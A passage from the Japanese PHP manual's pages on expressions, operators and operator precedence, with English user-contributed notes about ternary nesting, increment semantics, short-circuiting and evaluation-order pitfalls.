  • get_object_vars()
  • file_exists()
  • function_exists()

User Contributed Notes

sham dot hrm at gmail dot com 14-Mar-2021 06:45
You can implement magic constants as given below example:

<?php
namespace UserModel {
    class User {
        public function __construct() {
            echo 'I am in '.__CLASS__.'</br>';
        }
        public function showData() {
            echo 'I am in '.__METHOD__.'</br>';
        }
    }

    $obj = new User;
    $obj->showData();
    echo __NAMESPACE__;
}
?>


式

式は、PHP における最も重要なビルディングブロックです。PHPにおいては、ほとんど全てのものは式で記述されます。 最も簡単で最も正確な式の定義は、"値があるもの全て"です。

考えられる簡単な例は、定数と変数です。 "$a = 5" と入力すると、$a に '5' を代入することになります。 '5' は、明らかに、 5 という値です。 言葉を変えると '5' は 5 という値を有する式なのです。 (この場合、'5' は整数定数です。)

この代入の後、$a の値は、5 であることが期待されます。 よって、$b = $a と書いた場合、$b = 5 と書いたのと 同じように動作することが期待されます。 言い換えると $a は 5 という値を持つ式なのです。 全てが正しく動作する場合、何が起こるかをこのことが正確に表現しています。

式をもう少し複雑にしたのが関数です。 例えば、次の関数を考えてみましょう。

<?php
function foo () {
    return 5;
}
?>

あなたが関数の概念に慣れていると仮定すると (そうでない場合は、関数 に関する章を参照ください。)、 $c = foo() と入力することは、 $c = 5 と書くことと本質的に全く同じで あると予想されたかもしれません。この予想は、正しいです。 関数は、その返り値を値とする式なのです。 foo() は 5 を返すので、式 'foo()' の値は 5 です。 通常、関数は、決まった数だけを返すのではなく、何かを計算します。

もちろん、PHP の値は整数である必要はありませんし、 多くの場合、そうではありません。 PHP は、4 種類のスカラー型: 整数(int)、 浮動小数点数(float)、文字列(string)、 真偽値(bool) をサポートします。 (スカラーとは、配列とかと異なり、より小さな部分に'分割する'ことができない値のことです。) PHP は、2種類の複合(非スカラー)型(配列とオブジェクト)もサポートします。 これらの型の値は、変数に代入することができ、 関数からの返り値とすることができます。

PHP は、他の多くの言語が行うのと同じ手法で、 更に多くの式を使用可能です。 PHP は、ほとんど全てが式であるという意味で、式指向の言語です。 既に取り扱った '$a = 5' という例について考えてみましょう。 この式には、整数定数の '5' と 5 に更新された $a の値という 2 つの値が現れているということに容易に気づくことでしょう。 しかし、実際には、ここにはもうひとつの値が含まれています。 それは、代入自体の値です。 代入式は、それ自体、代入値を評価します。 この場合、その値は 5 になります。 このことは、実際には、'$a = 5' は、それが何をするかによらず、 値 5 を有する式であることを意味します。 つまり、 '$b = ($a = 5)' のように書くことは、 '$a = 5; $b = 5;' と書くのと 同様なのです。(セミコロンは、文の終わりを示します。) 代入は、右から左へ実行されるため、'$b = $a = 5' と書くことも 可能です。

式の配置に関する別の良い例は、前置、後置加算子、あるいは減算子です。 PHP と他の多くの言語のユーザーは、variable++ や variable-- といった表記法に慣れていることでしょう。 これらは、加算子および減算子です。 PHP においては、C 言語のように、 前置加算と後置加算という、2 種類の加算があります。 前置加算と後置加算は、両方とも、基本的には変数を増加させ、 変数に対する効果は同じです。 異なっているのは、加算する式の値です。 前置加算は、'++$variable' と書かれますが、 加算後の値を評価します (PHP はその値を読む前に変数を増加させるので、'前置加算(pre-increment)' という名前がついています)。 後置加算は、'$variable++' と書かれますが、加算される前の $variable の元の値を評価します。 (PHP は、その値を読んだ後に変数を増加させるので、 '後置加算(post-increment)' という名前がついています。)

比較演算子は、 極めて標準的な式です。 比較演算子は、false または true のどちらかを値とします。 PHPは、>(大なり)、 >=(大なりイコール)、=(イコール)、 <(小なり)、<=(小なりイコール)をサポートします。 PHP 言語は、いくつかの厳密な等価演算子: === (イコールかつ同じ型) そして !== (イコールではないまたは型が違う) も サポートします。 これらの式は、if文のような条件式の内部で一般的に 使用されます。

式の最後の例として、ここでは、演算子+代入式の複合演算式 を扱います。 既にご存知のように、$a に 1 を加えたい場合は、'$a++' または '++$a' と書くだけで十分です。 しかし、1より大きな数、例えば 3 を加えたい場合は、どうすればよいのでしょう? '$a++' を複数回使うこともできますが、当然これはあまり効率的で快適な手法ではありません。 ふつうは、'$a = $a + 3' と書きます。 '$a + 3' の部分で $a の値に 3 を加えた値を評価し、 その結果を $a に代入するというわけです。 この結果、$a に 3 が加えられます。 PHP においては、C のような他の言語と同様に、 この例をより短かく書くことができます。 これにより、より明確になり、同時に理解も迅速になります。 $a の現在の値に 3 を加える式は、 '$a += 3' と書くことができます。 この式の正確な意味は、 "$a の値を取得し、それに 3 を加え、$a に再代入しなさい。" です。 より短く、明確になっただけでなく、実行もより高速になります。 '$a += 3' の値は、通常の代入と同様に、代入された値です。 この値は 3 ではなく、$a に 3 を加えた加算値 (この値が、$a に代入された値です)であることに注意してください。 '$a -= 5' ($a から 5 を引く) や '$b *= 7' ($b に 7 をかける)等のように、 全ての 2 項演算子は、この演算子+代入式のモードで使用することができます。

もう一種類、三項演算子(ternary operator)を用いた式がありますが、 他の言語で見たことがない場合には理解できないかもしれません。

<?php
$first ? $second : $third
?>

最初の部分式の値が true (非ゼロ)の場合、二番目の部分式が評価され、 この条件文の結果となります。 そうでない場合、三番目の部分式が評価され、この文の値となります。

次の例は、前置および後置加算子と多少一般的な式の理解を 助けてくれることでしょう。

<?php
function double($i) {
    return $i*2;
}
$b = $a = 5;        /* 値 5 を $a と $b に代入します */
$c = $a++;          /* 後置加算なので、$c に代入される値は、$a の
                       元の値 (5) です */
$e = $d = ++$b;     /* 前置加算なので、$d と $e に代入される値は、
                       加算後の $b の値 (6) です */

/* ここまでで、$d と $e は、6 です */

$f = double($d++);  /* $f には、$d が加算される前の値を2倍した値、
                       つまり 2*6 = 12 が、代入されます。 */
$g = double(++$e);  /* $g には、$e が加算された後の値を2倍した値、
                        つまり 2*7 = 14 が、代入されます。 */
$h = $g += 10;      /* まず、$g に 10 が加算され、24 になります。
                       代入値 (24) は、$h に代入されます。
                       そして、$h も同様に 24 になります。 */
?>

式が、文として扱われることがあります。 この場合、文は、'式 ;' 、つまり式の後にセミコロンがついた形式です。 '$b = $a =5;' において、'$a = 5' は有効な式ですが、 自身を値とする文では ありません。しかし、'$b = $a = 5;' は有効な文です。

最後に、有益な事項として式の論理値について説明します。 多くのイベント、主に条件付き実行とループにおいて、 式の特定な値には関心がないが、true または false のどちらを 意味するかに関心があるということがあります。 定数trueとfalse(大文字小文字を区別しない)は、論理型の値がとり得る 値です。必要に応じて式は論理値に変換されます。詳細な手法については、 型キャストに関するセクション を参照ください。

PHP は、完全で強力な式の実装を提供します。 それを完全に記述することは、このマニュアルの範囲を超えています。 上記の例は、式とは何か、そして、便利な式をどうやって作るかということ に関して良いアイデアを与えるに違いありません。 本マニュアルの残りの部分ではexprという マークを使用しますが、これは PHP の有効な式を意味します。

User Contributed Notes

Bichis Paul 12-Jan-2017 03:10
Regarding 12345alex at gmx dot net's example:

I think you miss the identical equal documentation line from: http://php.net/manual/en/language.operators.comparison.php

$a == $b     Equal     TRUE if $a is equal to $b after type juggling.
$a === $b     Identical     TRUE if $a is equal to $b, and they are of the same type.

Try:
print array() === NULL ? "True" : "False";

Check this:
var_dump(is_null(array()));
chriswarbo at gmail dot com 12-Jul-2013 11:06
Note that there is a difference between a function and a function call, and both
are expressions. PHP has two kinds of function, "named functions" and "anonymous
functions". Here's an example with both:

<?php
// A named function. Its name is "double".
function double($x) {
  return 2 * $x;
}

// An anonymous function. It has no name, in the same way that the string
// "hello" has no name. Since it is an expression, we can give it a temporary
// name by assigning it to the variable $triple.
$triple = function($x) {
  return 3 * $x;
};
?>

We can "call" (or "run") both kinds of function. A "function call" is an
expression with the value of whatever the function returns. For example:

<?php
// The easiest way to run a function is to put () after its name, containing its
// arguments (if any)
$my_numbers = array(double(5), $triple(5));
?>

$my_numbers is now an array containing 10 and 15, which are the return values of
double and $triple when applied to the number 5.

Importantly, if we *don't* call a function, ie. we don't put () after its name,
then we still get expressions. For example:

<?php
$my_functions = array('double', $triple);
?>

$my_functions is now an array containing these two functions. Notice that named
functions are more awkward than anonymous functions. PHP treats them differently
because it didn't use to have anonymous functions, and the way named functions
were implemented didn't work for anonymous functions when they were eventually
added.

This means that instead of using a named function literally, like we can with
anonymous functions, we have to use a string containing its name instead. PHP
makes sure that these strings will be treated as functions when it's
appropriate. For example:

<?php
$temp      = 'double';
$my_number = $temp(5);
?>

$my_number will be 10, since PHP has spotted that we're treating a string as if
it were a function, so it has looked up that named function for us.

Unfortunately PHP's parser is very quirky; rather than looking for generic
patterns like "x(y)" and seeing if "x" is a function, it has lots of
special-cases like "$x(y)". This makes code like "'double'(5)" invalid, so we
have to do tricks like using temporary variables. There is another way around
this restriction though, and that is to pass our functions to the
"call_user_func" or "call_user_func_array" functions when we want to call them.
For example:

<?php
$my_numbers = array(call_user_func('double', 5), call_user_func($triple, 5));
?>

$my_numbers contains 10 and 15 because "call_user_func" called our functions for
us. This is possible because the string 'double' and the anonymous function
$triple are expressions. Note that we can even use this technique to call an
anonymous function without ever giving it a name:

<?php
$my_number = call_user_func(function($x) { return 4 * $x; }, 5);
?>

$my_number is now 20, since "call_user_func" called the anonymous function,
which quadruples its argument, with the value 5.

Passing functions around as expressions like this is very useful whenever we
need to use a 'callback'. Great examples of this are array_map and array_reduce.
antickon at gmail dot com 26-Feb-2012 07:29
evaluation order of subexpressions is not strictly defined for all operators

<?php
function a() {echo 'a';}
function b() {echo 'b';}
a() == b(); // outputs "ab", ie evaluates left-to-right

$a = 3;
var_dump( $a == $a = 4 ); // outputs bool(true), ie evaluates right-to-left
?>

this is not a bug: "we [php developers] make no guarantee about the order of evaluation".
See https://bugs.php.net/bug.php?id=61188
Magnus Deininger, dma05 at web dot de 16-Apr-2009 08:04
Note that even though PHP borrows large portions of its syntax from C, the ',' is treated quite differently. It's not possible to create combined expressions in PHP using the comma-operator that C has, except in for() loops.

Example (parse error):

<?php

$a = 2, $b = 4;

echo $a."\n";
echo $b."\n";

?>

Example (works):
<?php

for ($a = 2, $b = 4; $a < 3; $a++)
{
  echo $a."\n";
  echo $b."\n";
}

?>

This is because PHP doesn't actually have a proper comma-operator, it's only supported as syntactic sugar in for() loop headers. In C, it would have been perfectly legitimate to have this:

int f()
{
  int a, b;
  a = 2, b = 4;

  return a;
}

or even this:

int g()
{
  int a, b;
  a = (2, b = 4);

  return a;
}

In f(), a would have been set to 2, and b would have been set to 4.
In g(), (2, b = 4) would be a single expression which evaluates to 4, so both a and b would have been set to 4.
denzoo at gmail dot com 16-Mar-2008 04:52
To jvm at jvmyers dot com:
Your first two if statements just check if there's anything in the string, if you wish to actually execute the code in your string you need eval().
jvm at jvmyers dot com 24-Feb-2008 12:20
<?php
// Compound booleans expressed as string args in an 'if' statement don't work as expected:
//
//    Context:
//        1.  I generate an array of counters
//        2.  I dynamically generate a compound boolean based on selected counters in the array
//                Note: since the real array is sparse, I must use the 'empty' operator
//        3.  When I submit the compound boolean as the expression of an 'if' statement,
//            the 'if' appears to resolve ONLY the first element of the compound boolean.
//    Conclusion: appears to be a short-circuiting issue

$aArray = array(1,0);

// Case 1: 'if' expression passed as string:

$sCondition = "!empty($aArray[0]) && !empty($aArray[1])";
if ($sCondition)
{
    echo "1. Conditions met<br />";
}
else
{
    echo "1. Conditions not met<br />";
}

// Case 1 output:  "1. Conditions met"

// Case 2: same as Case 1, but using catenation operator

if ("".$sCondition."")
{
    echo "2. Conditions met<br />";
}
else
{
    echo "2. Conditions not met<br />";
}

// Case 2 output:  "2. Conditions met"

// Case 3: same 'if' expression but passed in context:

if (!empty($aArray[0]) && !empty($aArray[1]))
{
    echo "3. Conditions met<br />";
}
else
{
    echo "3. Conditions not met<br />";
}

// Case 3 output:  "3. Conditions not met"

// jvm@jvmyers.com
?>

PS: the bug folks say this "does not imply a bug in PHP itself."  Sure bugs me!
petruzanauticoyahoo?com!ar 20-Oct-2007 08:41
Regarding the ternary operator, I would rather say that the best option is to enclose all the expression in parantheses, to avoid errors and improve clarity:

<?php
   print ( $a > 1 ? "many" : "just one" );
?>

PS: for php, C++, and any other language that has it.
winks716 23-Aug-2007 01:42
reply to egonfreeman at gmail dot com
04-Apr-2007 07:45

the second example u mentioned as follow:
=====================================

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

===========================================

everything works correctly but one sentence should be modified:

"from 3 * 3 into 3 * 4"  should be "from 3 * 3 into 4 * 3"

best regards~ :)
george dot langley at shaw dot ca 20-Jul-2007 11:01
Here's a quick example of Pre and Post-incrementation, in case anyone does feel confused (ref anonymous poster 31 May 2005)

<?PHP
echo "Using Pre-increment ++\$a:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = ++$a;
echo "\$b = ++\$a, so \$b = $b and \$a = $a<br>";
echo "<br>";
echo "Using Post-increment \$a++:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = $a++;
echo "\$b = \$a++, so \$b = $b and \$a = $a<br>";
?>

HTH
egonfreeman at gmail dot com 04-Apr-2007 07:45
It is worthy to mention that:

$n = 3;
$n * --$n

WILL RETURN 4 instead of 6.

It can be a hard to spot "error", because in our human thought process this really isn't an error at all! But you have to remember that PHP (as it is with many other high-level languages) evaluates its statements RIGHT-TO-LEFT, and therefore "--$n" comes BEFORE multiplying, so - in the end - it's really "2 * 2", not "3 * 2".

It is also worthy to mention that the same behavior will change:

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

So, if you ever find yourself on a 'wild goose chase' for a bug in that "impossible-to-break, so-very-simple" piece of code that uses pre-/post-'s, remember this post. :)

(just thought I'd check it out - turns out I was right :P)
shawnster 14-Feb-2007 04:56
An easy fix (although intuitively tough to do...) is to reverse the comparison.

if (5 == $a) {}

If you forget the second '=', you'll get a parse error for trying to assign a value to a non-variable.
nabil_kadimi at hotmail dot com 29-Jan-2007 07:46
Attention! php will not warn you if you write (1) When you mean (2)

(1)
<?
if($a=0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is false
?>

(2)
<?
if($a==0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is true
?>
richard at phase4 dot ie 19-Jan-2006 12:00
Follow up on Martin K. There are no hard and fast rules regarding operator precedence. Newbies should definitely learn them, but if their use results in code that is not easy to read you should use parentheses. The two important things are that it works properly AND is maintainable by you and others.
Martin K 20-Oct-2005 06:28
At 04-Feb-2005 05:13, tom at darlingpet dot com said:
> It's also a good idea to use parenthesis when using something SIMILAR to:
>
> <?php
> echo (trim($var)=="") ? "empty" : "not empty";
> ?>

No, it's a BAD idea.

All the short-circuiting operators, including the ternary conditional operator, have LOWER precedence than the comparison operators, so they almost NEVER need parentheses around their subexpressions.

Inserting the parentheses suggested above does not change the meaning of the code, but their use misleads inexperienced programmers to expect that things like this will work in a similar manner:

<?php
function my_print($a) { print($a); }
my_print (trim($var)=="") ? "empty" : "not empty";
?>

when of course it doesn't.

Rather than worrying that code doesn't work as expected, simply learn the precedence rules (http://www.php.net/manual/en/language.operators.php) so that one expects the right things.
12345alex at gmx dot net 14-Aug-2005 07:00
this code:
    print array() == NULL ? "True" : "False";
    print " (" . (array() == NULL) . ")\n";

    $arr = array();
    print array() == $arr ? "True" : "False";
    print " (" . (array() == $arr) . ")\n";

    print count(array()) . "\n";
    print count(NULL) . "\n";

will output (on php4 and php5):
    True (1)
    True (1)
    0
    0

so to decide wether i have NULL or an empty array i will also have to use gettype(). this seems some kind of weird for me, although if is this is a bug, somebody should have noticed it before.

alex
31-May-2005 12:07
I don't see why it is necessary here to explain pre- and post- incrementing.

This is something that will confuse new users of PHP, even longer time programmers will sometimes miss a the fine details of a construct like that.

If something has a side-effect it should be on a line of it's own, or at least be an expression of it's own and not part of an assignment, condition or whatever.
tom at darlingpet dot com 04-Feb-2005 02:13
Something I've noticed with ternary expressions is if you do something like :

<?= $var=="something" ? "is something" : "not something"; ?>

It will give wacky results sometimes...

So be sure to enclose the ternary expression in parenthesis when ever necessary (such as having multiple expressions or nested ternary expressions)

The above could look like:

<?= ($var=="something") ? "is something" : "not something"; ?>

It's also a good idea to use parenthesis when using something SIMILAR to:

<?php
echo (trim($var)=="") ? "empty" : "not empty";
?>

In some cases other than the <?= ?> example, not placing the entire expression in appropriate parenthesis might yield undesirable results as well.. but I'm not quite sure.
oliver at hankeln-online dot de 07-Aug-2002 06:06
The short-circuiting IS a feature. It is also available in C, so I suppose the developers won?t remove it in future PHP versions.

It is rather nice to write:

$file=fopen("foo","r") or die("Error!");

Greets,
Oliver
Mattias at mail dot ee 25-May-2002 03:29
A note about the short-circuit behaviour of the boolean operators.

1. if (func1() || func2())
Now, if func1() returns true, func2() isn't run, since the expression
will be true anyway.

2. if (func1() && func2())
Now, if func1() returns false, func2() isn't run, since the expression
will be false anyway.

The reason for this behaviour comes probably from the programming
language C, on which PHP seems to be based on. There the
short-circuiting can be a very useful tool. For example:

int * myarray = a_func_to_set_myarray(); // init the array
if (myarray != NULL && myarray[0] != 4321) // check
    myarray[0] = 1234;

Now, the pointer myarray is checked for being not null, then the
contents of the array is validated. This is important, because if
you try to access an array whose address is invalid, the program
will crash and die a horrible death. But thanks to the short
circuiting, if myarray == NULL then myarray[0] won't be accessed,
and the program will work fine.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 11:14
Manual defines "expression is anything that has value", Therefore, parser will give error for following code.

<?php
($val) ? echo('true') : echo('false');
Note: "? : " operator has this syntax  "expr ? expr : expr;"
?>

since echo does not have(return) value and ?: expects expression(value).

However, if function/language constructs that have/return value, such as include(), parser compiles code.

Note: User defined functions always have/return value without explicit return statement (returns NULL if there is no return statement). Therefore, user defined functions are always valid expressions.
[It may be useful to have VOID as new type to prevent programmer to use function as RVALUE by mistake]

For example,

<?php
($val) ? include('true.inc') : include('false.inc');
?>

is valid, since "include" returns value.

The fact "echo" does not return value(="echo" is not a expression), is less obvious to me.

Print() and Echo() is NOT identical since print() has/returns value and can be a valid expression.
anthony at n dot o dot s dot p dot a dot m dot trams dot com 24-Nov-2000 11:01
The ternary conditional operator is a useful way of avoiding inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;


演算子

目次

  • 演算子の優先順位
  • 代数演算子
  • 代入演算子
  • ビット演算子
  • 比較演算子
  • エラー制御演算子
  • 実行演算子
  • 加算子/減算子
  • 論理演算子
  • 文字列演算子
  • 配列演算子
  • 型演算子

演算子とは、ひとつ以上の値 (あるいはプログラミング用語における「式」) から別の値 (制御構造が式になるように) を生み出すものです。

演算子は、受け取る値の数によって分類することができます。単項演算子はひとつの値だけを受け取るもので、 ! ( 論理否定演算子) や ++ ( 加算子) などです。二項演算子はふたつの値を受け取ります。おなじみの 代数演算子 である + (加算) や - (減算) など PHP の演算子の大半はこの分類に含まれます。最後は三つの値を受け取る 三項演算子 で、これは ? : だけしかありません。この演算子はしばしば、単に "三項演算子" と呼ばれます (しかし、より適切な呼び方としては 条件演算子と呼ぶほうがよいでしょう)。

PHP の演算子の完全な一覧は、 演算子の優先順位 の欄にあります。この節では演算子の優先順位と結合性について説明します。 複数の演算子を組み合わせたときにどう評価されるのかは、優先順位と結合性で決まります。

User Contributed Notes

anisgazig at gmail dot com 07-Feb-2021 03:15
A variable is a container that contain different types of data and the operator operates a variable correctly.
anisgazig at gmail dot com 16-Sep-2020 05:49
Operator are used to perform operation.

Operator are mainly divided by three groups.
1.Uniary Operators that takes one values
2.Binary Operators that takes two values
3.ternary operators that takes three values

Operator are mainly divided by three groups that are totally seventeen types.
1.Arithmetic Operator
+ = Addition
- = Subtraction
* = Multiplication
/ = Division
% = Modulo
** = Exponentiation

2.Assignment Operator
     = "equal to

3.Array Operator
    + = Union
    == = Equality
    === = Identity
    != = Inequality
    <> = Inequality
    !== =    Non-identity

4.Bitwise Operator
& = and
^ = xor
| = not
<< = shift left
>> = shift right

5.Comparison Operator
==  = equal
=== = identical
!=  = not equal
!== = not identical
<>  = not equal
< = less than
<= less than or equal
> = greater than
>= = greater than or equal
<=> = spaceship operator

6.Execution Operator
 `` = backticks

7.Error Control Operator
    @ = at sign

8.Incrementing/Decrementing Operator
    ++$a = PreIncrement
    $a++ = PostIncrement
    --$a = PreDecrement
    $a-- = Postdecrement

9.Logical Operator
    && = And
    || = Or
    ! = Not
    and = And
    xor = Xor
    or = Or

10.string Operator
    . =  concatenation operator
    .= concatenating assignment operator

11.Type Operator
    instanceof = instanceof

12.Ternary or Conditional operator
   ?: = Ternary operator

13.Null Coalescing Operator
    ??" = null coalescing

14.Clone new Operator
    clone new = clone new

15.yield from Operator

    yield from = yield from

16.yield Operator
    yield = yield

17.print Operator
    print = print
ivijan dot stefan at gmail dot com 13-Jul-2019 08:55
If you use "AND" and "OR", you'll eventually get tripped up by something like this:

<?php
$this_one = true;
$that = false;
$truthiness = $this_one and $that;
?>

Want to guess what $truthiness equals?

If you said "false"  ...it's wrong!

"$truthiness" above has the value "true". Why?  "=" has a higher precedence than "and". The addition of parentheses to show the implicit order makes this clearer:

<?php
($truthiness = $this_one) and $that;
?>

If you used "&&" instead of and in the first code example, it would work as expected and be "false".

This also works to get the correct value, as parentheses have higher precedence than "=":

<?php
$truthiness = ($this_one and $that);
?>
figroc at gmail dot com 02-Aug-2008 03:30
The variable symbol '$' should be considered as the highest-precedence operator, so that the variable variables such as $$a[0] won't confuse the parser.  [http://www.php.net/manual/en/language.variables.variable.php]
phpnet dot 20 dot dpnsubs at xoxy dot net 01-Nov-2007 02:13
Note that in php the ternary operator ?: has a left associativity unlike in C and C++ where it has right associativity.

You cannot write code like this (as you may have accustomed to in C/C++):

<?php
$a = 2;
echo (
    $a == 1 ? 'one' :
    $a == 2 ? 'two' :
    $a == 3 ? 'three' :
    $a == 4 ? 'four' : 'other');
echo "\n";
// prints 'four'
?>

You need to add brackets to get the results you want:

<?php
$a = 2;

echo ($a == 1 ? 'one' :
        ($a == 2 ? 'two' :
        ($a == 3 ? 'three' :
        ($a == 4 ? 'four' : 'other') ) ) );
echo "\n";
//prints 'two'
?>
me at robrosenbaum dot com 12-Jul-2007 12:16
The scope resolution operator ::, which is missing from the list above, has higher precedence than [], and lower precedence than 'new'. This means that self::$array[$var] works as expected.
golotyuk at gmail dot com 09-Jul-2006 09:51
Simple POST and PRE incremnt sample:

<?php

$b = 5;
$a = ( ( ++$b ) > 5 ); // Pre-increment test
echo (int)$a;

$b = 5;
$a = ( ( $b++ ) > 5 ); // Post-increment test
echo (int)$a;

?>

This will output 10, because of the difference in post- and pre-increment operations
rick at nomorespam dot fourfront dot ltd dot uk 02-Sep-2005 03:51
A quick note to any C developers out there, assignment expressions are not interpreted as you may expect - take the following code ;-

<?php
$a=array(1,2,3);
$b=array(4,5,6);
$c=1;

$a[$c++]=$b[$c++];

print_r( $a ) ;
?>

This will output;-
Array ( [0] => 1 [1] => 6 [2] => 3 )
as if the code said;-
$a[1]=$b[2];

Under a C compiler the result is;-
Array ( [0] => 1 [1] => 5 [2] => 3 )
as if the code said;-
$a[1]=$b[1];

It would appear that in php the increment in the left side of the assignment is processed prior to processing the right side of the assignment, whereas in C, neither increment occurs until after the assignment.
09-Jun-2004 05:58
of course this should be clear, but i think it has to be mentioned espacially:

AND is not the same like &&

for example:

<?php $a && $b || $c; ?>
is not the same like
<?php $a AND $b || $c; ?>

the first thing is
(a and b) or c

the second
a and (b or c)

'cause || has got a higher priority than and, but less than &&

of course, using always [ && and || ] or [ AND and OR ] would be okay, but than you should at least respect the following:

<?php $a = $b && $c; ?>
<?php $a = $b AND $c; ?>

the first code will set $a to the result of the comparison $b with $c, both have to be true, while the second code line will set $a like $b and THAN - after that - compare the success of this with the value of $c

maybe usefull for some tricky coding and helpfull to prevent bugs :D

greetz, Warhog
yasuo_ohgaki at hotmail dot com 25-Mar-2001 11:53
Other Language books' operator precedence section usually include "(" and ")" - with exception of a Perl book that I have. (In PHP "{" and "}" should also be considered also). However, PHP Manual is not listed "(" and ")" in precedence list. It looks like "(" and ")" has higher precedence as it should be.

Note: If you write following code, you would need "()" to get expected value.

<?php
$bar = true;
$str = "TEST". ($bar ? 'true' : 'false') ."TEST";
?>

Without "(" and ")" you will get only "true" in $str.
(PHP4.0.4pl1/Apache DSO/Linux, PHP4.0.5RC1/Apache DSO/W2K Server)
It's due to precedence, probably.


演算子の優先順位

演算子の優先順位は、二つの式が"緊密に"結合している度合いを指定します。 例えば、式 1 + 5 * 3 の答えは 16 になり、18 とはなりません。 これは乗算演算子("*")は、加算演算子("+")より高い優先順位を有するか らです。必要に応じて強制的に優先順位を設定するために括弧を使用する ことが可能です。例えば、18と評価するためには、 (1 + 5) * 3 とします。

演算子の優先順位が等しい場合は、その結合性によって評価順 (右から評価するのか、あるいは左から評価するのか) が決まります。 たとえば "-" は左結合なので、 1 - 2 - 3 は (1 - 2) - 3 とグループ分けされて、 評価結果は -4 になります。 一方、"=" は右結合です。つまり $a = $b = $c のグループ分けは $a = ($b = $c) となります。

優先順位が同じで結合しない演算子を並べることはできません。つまり、たとえば 1 < 2 > 1 は PHP では無効になります。 一方 1 <= 1 == 1 は問題ありません。 == 演算子の優先順位が <= 演算子より低いからです。

厳密には不要な場所であっても、括弧をつけておけばコードの可読性があがります。 明示的にグループ分けをしておくことで、演算子の優先順位や結合性による暗黙のグループ分けに頼らずに済むからです。

次の表では、優先順位が高い順に演算子を挙げています。 同じ行にある演算子は優先順位が等しくなります。そのような場合は、 結合時の評価にしたがってグループ分けが決まります。

演算子の優先順位
結合時の評価 | 演算子 | 追加情報
(n/a) | clone new | clone および new
right | ** | 代数演算子
(n/a) | ++ -- ~ (int) (float) (string) (array) (object) (bool) @ | 型 および 加算子/減算子
left | instanceof | 型
(n/a) | ! | 論理演算子
left | * / % | 代数演算子
left | + - . | 代数演算子 そして 文字列演算子
left | << >> | ビット演算子
結合しない | < <= > >= | 比較演算子
結合しない | == != === !== <> <=> | 比較演算子
left | & | ビット演算子 そして リファレンス
left | ^ | ビット演算子
left | | | ビット演算子
left | && | 論理演算子
left | || | 論理演算子
right | ?? | NULL合体演算子
(n/a) | ? : | 三項演算子
right | = += -= *= **= /= .= %= &= |= ^= <<= >>= ??= | 代入演算子
(n/a) | yield from | yield from
(n/a) | yield | yield
(n/a) | print | print
left | and | 論理演算子
left | xor | 論理演算子
left | or | 論理演算子

例1 結合時の評価

<?php
$a = 3 * 3 % 5; // (3 * 3) % 5 = 4
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

$a = 1;
$b = 2;
$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5
?>

演算子の優先順位や結合性は、あくまでも式のグループ分けだけを決めるものであり、評価順を決めるものではありません。 PHP では一般に、式をどの順番で評価するかは決めていません。 そのため、特定の順序で式が評価されることを前提としたコードを書いてはいけません。 PHP のバージョンが変わったり前後のコードが変わったりしたときに、評価順が変わる可能性があるからです。

例2 評価順序は未定義

<?php
$a = 1;
echo $a + $a++; // 2 になるかもしれないし、3 になるかもしれません

$i = 1;
$array[$i] = $i++; // インデックス 1 をセットするかもしれないし、インデックス 2 をセットするかもしれません
?>

例3 +、-、. の優先順位は同じ

<?php
$x = 4;
// 次の行は、予期せぬ結果になることでしょう
echo "x minus one equals " . $x-1 . ", or so I hope\n";
// なぜなら、これは次のように評価されるからです
echo (("x minus one equals " . $x) - 1) . ", or so I hope\n";
// 期待どおりの結果を得るには、括弧を使って優先順位を指定します
echo "x minus one equals " . ($x-1) . ", or so I hope\n";
?>

上の例の出力は以下となります。

-1, or so I hope
-1, or so I hope
x minus one equals 3, or so I hope

注意:

= は他のほとんどの演算子よりも優先順位が低いはずなのにもかかわらず、 PHP は依然として if (!$a = foo()) のような式も許します。この場合は foo() の返り値が $a に代入されます。

変更履歴

バージョン | 説明
8.0.0 | 三項演算子 (? :) は、 どの演算とも結合しなくなりました。 これより前のバージョンでは、左結合でした。
7.4.0 | 三項演算子(? :) が左結合であることに依存すること、 つまり、括弧で囲わずに三項演算子をネストすることは推奨されなくなりました。

User Contributed Notes

instatiendaweb at gmail dot com 20-Feb-2021 09:44
//incorrect
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2
//Unparenthesized `a ? b : c ? d : e` is not supported. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)`
//correct
$a = (true ? 0 : true) ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

==> correction documentation.
anisgazig at gmail dot com 01-Feb-2021 03:36
Three types of operator associativity in php.
1.left
2.rigt
3.non-associativity

Category of three operators are right associativity
1)**
2)=,+=,-=,*=,/=,%=,&=,^=,|=,<<=,>>=,??=,.=
3)??

Category of eight operators are non-associativity
1)clone new
2)++,--,~,@
3)!
4)<,<=,>,>=
5)<<,>>
6)yield from
7)yield
8)print

Rest of the operators are left associativity
noone 23-Feb-2020 02:46
Something that threw me of guard and I hadn't found it mentioned anywhere is if you're looking to asign a value in an if statement condition and use the same value in the said condition and compare it to a different value note the precedence of operators.

if($a=5&&$a==5){
  echo '5';
} else {
  echo 'not 5';
}
//echos  not 5

You'll get a Notice:  Undefined variable: a;
This happens because the expression is treated as
($a=5&&($a==5))
In this case $a was undefined.

Use parentheses to enforce the desired outcome or and instead of &&.
if(($a=5)&&$a==5){ // or $a=5 and $a==5
  echo '5';
} else {
  echo 'not 5';
}

//echos  5

We get no notice!

A use case for this can be a three part condition that first checks if a value is valid, second assigns a new variable based on the first value and then checks if the result is valid.

$ID=100;
